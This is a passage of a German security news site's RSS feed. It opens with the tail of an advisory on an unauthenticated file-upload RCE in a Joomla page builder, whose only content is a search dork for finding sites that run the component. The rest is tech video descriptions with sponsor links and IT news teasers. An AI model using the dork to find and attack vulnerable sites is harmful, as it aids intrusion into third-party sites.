<link>https://tsecurity.de/de/3693345/sicherheitsluecken/joomla-page-builder-ck-3510-unauthenticated-arbitrary-file-upload-rce/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693345/sicherheitsluecken/joomla-page-builder-ck-3510-unauthenticated-arbitrary-file-upload-rce/</guid>
<pubDate>Sat, 25 Jul 2026 08:46:01 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[inurl:com_pagebuilderck OR "/components/com_pagebuilderck/assets/pagebuilderck.js"]]></content:encoded>
</item>
<item>
<title><![CDATA[Side loading apps has changed (here's a recap)]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 5021x - Views:92813 Thanks to Micro Center for sponsoring this video!
Check out Micro Center's Desktop Deals: https://micro.center/6e567d
Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, Texas: https://micro.center/6e567d
Sign up for a FREE 128 gig F...]]></description>
<link>https://tsecurity.de/de/3693268/videos/side-loading-apps-has-changed-heres-a-recap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693268/videos/side-loading-apps-has-changed-heres-a-recap/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:44 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 5021x - Views:92813 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/xVm6_IIrHc4?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to Micro Center for sponsoring this video!<br />
Check out Micro Center&#039;s Desktop Deals: https://micro.center/6e567d<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, Texas: https://micro.center/6e567d<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center North Jersey: https://micro.center/f0e700<br />
Visit Micro Center News: https://micro.center/cd7061<br />
<br />
Downloading apps seems straight forward, but on mobile it&#039;s anything but. There are hoops to jump through, pop-ups to fend off, and monolithic app stores to contend with. Getting full control on Android is even slipping further and further away. Join us as we embark on a journey to get to the bottom of sideloading. <br />
<br />
Thanks to the founders of the Alt Store, Riley Testut and Shane Gill for helping us with this episode. <br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Wi-Fi 7 is being held back by MLO]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 6022x - Views:127629 Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS

Wi-Fi 7 has some awesome features, at least theoretically. However, MLO one of the most impre...]]></description>
<link>https://tsecurity.de/de/3693267/videos/how-wi-fi-7-is-being-held-back-by-mlo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693267/videos/how-wi-fi-7-is-being-held-back-by-mlo/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:43 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 6022x - Views:127629 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/oMUaZsvJQVQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS<br />
<br />
Wi-Fi 7 has some awesome features, at least theoretically. However, MLO one of the most impressive features is still not widely available, let&#039;s try and find out why. <br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Understanding different types of OLED TVs and displays]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 5027x - Views:93409 Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus ...]]></description>
<link>https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:42 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 5027x - Views:93409 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/TpVM45JNupQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You&#039;ll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!<br />
<br />
PC/Console: https://playwt.link/techquickie <br />
Mobile:  https://wtm.game/techquickie <br />
<br />
Remember when OLED was simple? You paid a premium, you got perfect blacks, and you called it a day. Fast forward to 2026, and we’re drowning in an alphabet soup of WOLED, QD-OLED, and &quot;Penta-Tandem&quot; stacks. Today we’re breaking it all down and we’ve got the answers.<br />
Special thanks to Ron Mertens, CEO of Metalgrass and founder of OLED-info, for joining us and sharing over 20 years of expertise in the display industry.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Gaming on Linux Suddenly Matters]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 24191x - Views:665011 Click this link https://boot.dev/?promo=TECHQUICKIE and use my code TECHQUICKIE to get 25% off your first payment for boot.dev. Thank you Boot.Dev for Sponsoring! 

From broken drivers to the Steam Deck selling millions, Linux gaming has gone...]]></description>
<link>https://tsecurity.de/de/3693264/videos/why-gaming-on-linux-suddenly-matters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693264/videos/why-gaming-on-linux-suddenly-matters/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:39 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 24191x - Views:665011 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3lJ5oT_JviI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Click this link https://boot.dev/?promo=TECHQUICKIE and use my code TECHQUICKIE to get 25% off your first payment for boot.dev. Thank you Boot.Dev for Sponsoring! <br />
<br />
From broken drivers to the Steam Deck selling millions, Linux gaming has gone from &quot;is this the year?&quot; to &quot;wait, it actually works now.&quot; But getting here took a decade of tinkering, a billion-dollar bet from Valve, and an open-source community that refused to quit. In this video we talk to Valve and the Batocera project about how Linux quietly became a real threat to Windows - and why Microsoft is playing catch-up.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br />
<br />
Purchases made through some store links may provide some compensation to Linus Media Group. Affiliate links powered in part by https://affilimate.com/<br />
<br />
Linus Sebastian is an investor in Framework Computer, Inc and HexOS by Eshtek.<br />
<br />
Chapters<br />
------------------------------------<br />
0:01 Is this the year of Linux gaming?<br />
0:43 Why Microsoft is usually better<br />
2:03 How Valve is fighting back<br />
3:37 Sponsor <br />
4:14 Steamdeck saved the day<br />
4:50 Windows claps back <br />
6:27 Valve is putting up a fight <br />
7:40 Watch another video<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How companies use your phone’s location data]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 4377x - Views:87129 Thanks to Micro Center for sponsoring this video! Check out Micro Center's Apple Savings Event: https://micro.center/f0d2f4
 - Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/5ed64
 - Sign up for a FREE 1...]]></description>
<link>https://tsecurity.de/de/3693263/videos/how-companies-use-your-phones-location-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693263/videos/how-companies-use-your-phones-location-data/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:37 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 4377x - Views:87129 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mrcnQu6Xfas?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to Micro Center for sponsoring this video! Check out Micro Center&#039;s Apple Savings Event: https://micro.center/f0d2f4<br />
 - Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/5ed64<br />
 - Sign up for a FREE 128 gig Flash Drive at Micro Center Columbus, OH: https://micro.center/b47e46<br />
Visit Micro Center News: https://micro.center/8361ce<br />
<br />
Your phone is the best tool in your pocket for most things, but if you&#039;re privacy-minded, it might be working against you. This video explains how phone tracking works, and what you can do to try and control it. <br />
<br />
Special thanks to Serge Egelman for helping us out with this one. https://www.icsi.berkeley.edu/icsi/people/egelman<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br />
<br />
Chapters<br />
-----------------------------<br />
0:00 Your phone&#039;s location might not be private <br />
0:29 How do phones even know my location<br />
2:34 Sponsor <br />
3:10 How do companies get your data<br />
4:30 What they do with your data <br />
6:20 Watch another video<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Secret Council Behind Every Emoji]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 3887x - Views:57416 Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS

The Unicode Consortium isn’t elected, isn’t a company, and you’ve probably never heard of them...]]></description>
<link>https://tsecurity.de/de/3693258/videos/the-secret-council-behind-every-emoji/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693258/videos/the-secret-council-behind-every-emoji/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:31 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 3887x - Views:57416 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ssavPVf6JvE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS<br />
<br />
The Unicode Consortium isn’t elected, isn’t a company, and you’ve probably never heard of them. But they decide which characters exist on every keyboard on Earth, including yours. We dig into how they got that power, why eight corporations pay fifty thousand dollars a year for voting rights, and how new characters get created.<br />
<br />
Special thanks to Toral Cowieson - Unicode CEO - https://aac.unicode.org/ <br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DLSS 5 (and the Backlash) Explained]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 7229x - Views:172802 Thanks to Micro Center for sponsoring this video! Shop Micro Center's Laptop Savings Event: https://micro.center/a00204

Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/74ccbf
Sign up for a FREE 128 gig ...]]></description>
<link>https://tsecurity.de/de/3693255/videos/dlss-5-and-the-backlash-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693255/videos/dlss-5-and-the-backlash-explained/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:26 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 7229x - Views:172802 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/bMPgRlgcJcE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to Micro Center for sponsoring this video! Shop Micro Center&#039;s Laptop Savings Event: https://micro.center/a00204<br />
<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/74ccbf<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center Columbus, OH: https://micro.center/4aed40<br />
Visit Micro Center News: https://micro.center/368232<br />
<br />
DLSS 5 is here, and it&#039;s not what you think. Nvidia&#039;s calling it the biggest graphics leap since Ray Tracing, but the same audience that defended DLSS for eight years is calling this one AI slop. So what&#039;s actually going on?<br />
<br />
In this video, we break down what DLSS 5 actually does, how neural rendering works, why Nvidia&#039;s CEO and Nvidia&#039;s own engineers are describing the tech differently, and whether the backlash from gamers and developers is justified.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br />
<br />
Chapters <br />
------------------------<br />
00:0 DLSS backstory <br />
1:20 DLSS 5 explained <br />
2:20 Why gamers are confused<br />
2:40 Sponsor <br />
3:14 DLSS 5 unmasked <br />
4:30 Why gamers are mad <br />
6:00 Watch another video<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Problem With End-to-End Encryption]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 6635x - Views:137446 Thanks to our sponsor Bitdefender! Try their powerful Scam Protection free for 90 days: https://bitdefend.me/90Linus

Apps like Signal, WhatsApp, and iMessage promise nobody can read your messages. Mostly true - but in 2026, encrypted chat has...]]></description>
<link>https://tsecurity.de/de/3693251/videos/the-problem-with-end-to-end-encryption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693251/videos/the-problem-with-end-to-end-encryption/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:20 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 6635x - Views:137446 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qUVsX49fNFw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to our sponsor Bitdefender! Try their powerful Scam Protection free for 90 days: https://bitdefend.me/90Linus<br />
<br />
Apps like Signal, WhatsApp, and iMessage promise nobody can read your messages. Mostly true - but in 2026, encrypted chat has three gaps you can&#039;t ignore, and the biggest one might already be sitting on your own computer. We sat down with David Wiseman, BlackBerry&#039;s VP of Secure Communications, to find out what end-to-end encryption actually protects, what it doesn&#039;t, and how attackers are walking around it without breaking a single line of code.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br />
<br />
Timestamps:<br />
0:00 How Encrypted Chats Work<br />
1:45 Signal, WhatsApp, iMessage, and Telegram<br />
2:19 Sponsor<br />
2:57 Metadata Still Leaks<br />
4:02 Phishing, Linked Devices, and Recall<br />
5:17 How to Protect Yourself<br />
5:38 Credits<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why PC Memory is Stuck in 1995 (Unified Memory Explained)]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 10104x - Views:195333 Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonu...]]></description>
<link>https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:06 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 10104x - Views:195333 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mWFKVqtAkeI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You&#039;ll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!<br />
<br />
PC/Console: https://playwt.link/techquickie <br />
Mobile:  https://wtm.game/techquickie<br />
<br />
Computer memory is officially worth more than gold, thanks to AI. So why do our CPUs and GPUs still act like selfish jerks and refuse to share it? They can and it&#039;s called Unified Memory, and in this video we’re breaking down the physical bottlenecks of traditional PC architecture and explaining how Apple - and now AMD and NVIDIA - are rewriting the rules of hardware efficiency. Special thanks to Professor Prashant Nair from UBC for lending his engineering expertise!<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why The Fastest Memory Isn't In Your PC (HBM explained)]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 4552x - Views:77047 Thanks to Micron for sponsoring this video!

To learn more about High-Bandwidth Memory (HBM), check out: https://www.micron.com/products/memory/hbm

Interested in helping to shape the future of cutting edge memory and storage: https://www.micro...]]></description>
<link>https://tsecurity.de/de/3693236/videos/why-the-fastest-memory-isnt-in-your-pc-hbm-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693236/videos/why-the-fastest-memory-isnt-in-your-pc-hbm-explained/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:58 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 4552x - Views:77047 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-mKb75P7wT0?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to Micron for sponsoring this video!<br />
<br />
To learn more about High-Bandwidth Memory (HBM), check out: https://www.micron.com/products/memory/hbm<br />
<br />
Interested in helping to shape the future of cutting edge memory and storage: https://www.micron.com/about/careers<br />
<br />
Modern AI chips don&#039;t run on the kind of memory in your gaming PC. They run on something that&#039;s literally stacked into a tiny skyscraper, with tens of thousands of microscopic data tunnels drilled through it and a custom silicon motherboard underneath. We sat down with the engineers at Micron to break down how High Bandwidth Memory actually works, why it&#039;s the backbone of every serious AI accelerator on the planet, and why your gaming GPU still uses a totally different kind of memory.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Satellite Internet Doesn’t Suck Anymore]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 7667x - Views:169395 Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS

Satellite internet used to be a last resort - laggy, expensive, and locked behind a hard data...]]></description>
<link>https://tsecurity.de/de/3693222/videos/why-satellite-internet-doesnt-suck-anymore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693222/videos/why-satellite-internet-doesnt-suck-anymore/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:38 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 7667x - Views:169395 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/j43j9iwU158?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS<br />
<br />
Satellite internet used to be a last resort - laggy, expensive, and locked behind a hard data cap. Then low Earth orbit changed everything. We break down how it actually works, why it used to be so bad, what made it usable, and why physics means it&#039;ll never fully replace fiber - with astronomer and orbital tracker Jonathan McDowell.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[You’re Not Paying the Same Price As Me]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 2779x - Views:41281 Thanks to Micro Center for sponsoring this video! Shop Back to School Tech Deals: https://micro.center/baef21

Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/fdf6b0
Sign up for a FREE 128 gig Flash Drive...]]></description>
<link>https://tsecurity.de/de/3693208/videos/youre-not-paying-the-same-price-as-me/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693208/videos/youre-not-paying-the-same-price-as-me/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:18 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 2779x - Views:41281 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-SSI6E5QCOw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to Micro Center for sponsoring this video! Shop Back to School Tech Deals: https://micro.center/baef21<br />
<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/fdf6b0<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center Columbus, OH: https://micro.center/4f8a89<br />
<br />
Visit Micro Center News: https://micro.center/a34dc2<br />
<br />
Shopping is getting harder all the time. Virtual aisles filled with crap and fake reviews, but thankfully new tech is....er... making things worse... If you&#039;ve been burned by things getting more expensive or changing price this video is for you. <br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Digitaler Kolonialismus: Wie die US-Regierung afrikanischen Ländern Daten-Deals aufzwingt]]></title>
<description><![CDATA[Mediziner:innen in Schutzanzügen in einem Ebola-Behandlungszentrum in der Demokratischen Republik Kongo    –   Alle Rechte vorbehalten: IMAGO / XinhuaNach der Einstellung von USAID arbeiten die USA an Nachfolgeprogrammen zur Unterstützung der Gesundheitsversorgung in afrikanischen Ländern. Doch H...]]></description>
<link>https://tsecurity.de/de/3693182/it-nachrichten/digitaler-kolonialismus-wie-die-us-regierung-afrikanischen-laendern-daten-deals-aufzwingt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693182/it-nachrichten/digitaler-kolonialismus-wie-die-us-regierung-afrikanischen-laendern-daten-deals-aufzwingt/</guid>
<pubDate>Sat, 25 Jul 2026 08:18:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2560" height="1707" src="https://cdn.netzpolitik.org/wp-upload/2026/07/imago860926800-scaled.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Menschen in Schutzanzügen mit medizinischen Utensilien" decoding="async" loading="lazy" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/imago860926800-scaled.jpg 2560w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago860926800-726x484.jpg 726w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago860926800-1013x675.jpg 1013w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago860926800-1536x1024.jpg 1536w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago860926800-2048x1365.jpg 2048w" sizes="auto, (max-width: 2560px) 100vw, 2560px"><figcaption class="wp-caption-text">Mediziner:innen in Schutzanzügen in einem Ebola-Behandlungszentrum in der Demokratischen Republik Kongo  <span class="media-license-caption">  –   Alle Rechte vorbehalten: <a href="https://www.imago-images.de/st/0860926800?searchID=47d7ed67-70a6-4c5b-9cfb-6ceda3834165&amp;isHandpicked=false&amp;initialMediaIndex=14&amp;totalResultsCount=11645&amp;isPeopleFilterApplied=no&amp;peopleFilterMode=not+applied">IMAGO / Xinhua</a></span></figcaption></figure>Nach der Einstellung von USAID arbeiten die USA an Nachfolgeprogrammen zur Unterstützung der Gesundheitsversorgung in afrikanischen Ländern. Doch Hilfe beim Kampf gegen Ebola, HIV und Co. gibt es künftig nur noch gegen weitreichenden Zugang zu Gesundheitsdaten.]]></content:encoded>
</item>
<item>
<title><![CDATA[KW 30: Die Woche, in der wir nicht über Personalwechsel und Punktsiege berichteten]]></title>
<description><![CDATA[–   : Fraktal, generiert mit MandelBrowser von Tomasz ŚmigielskiDie 30. Kalenderwoche geht zu Ende. Wir haben 12 neue Texte mit insgesamt 95.849 Zeichen veröffentlicht. Willkommen zum netzpolitischen Wochenrückblick.]]></description>
<link>https://tsecurity.de/de/3693175/it-nachrichten/kw-30-die-woche-in-der-wir-nicht-ueber-personalwechsel-und-punktsiege-berichteten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693175/it-nachrichten/kw-30-die-woche-in-der-wir-nicht-ueber-personalwechsel-und-punktsiege-berichteten/</guid>
<pubDate>Sat, 25 Jul 2026 08:17:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="1920" height="1080" src="https://cdn.netzpolitik.org/wp-upload/2026/07/26-37.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/26-37.jpg 1920w, https://cdn.netzpolitik.org/wp-upload/2026/07/26-37-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/26-37-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/26-37-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/26-37-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px"><figcaption class="wp-caption-text">  <span class="media-license-caption">  –   : Fraktal, generiert mit MandelBrowser von Tomasz Śmigielski</span></figcaption></figure>Die 30. Kalenderwoche geht zu Ende. Wir haben 12 neue Texte mit insgesamt 95.849 Zeichen veröffentlicht. Willkommen zum netzpolitischen Wochenrückblick.]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
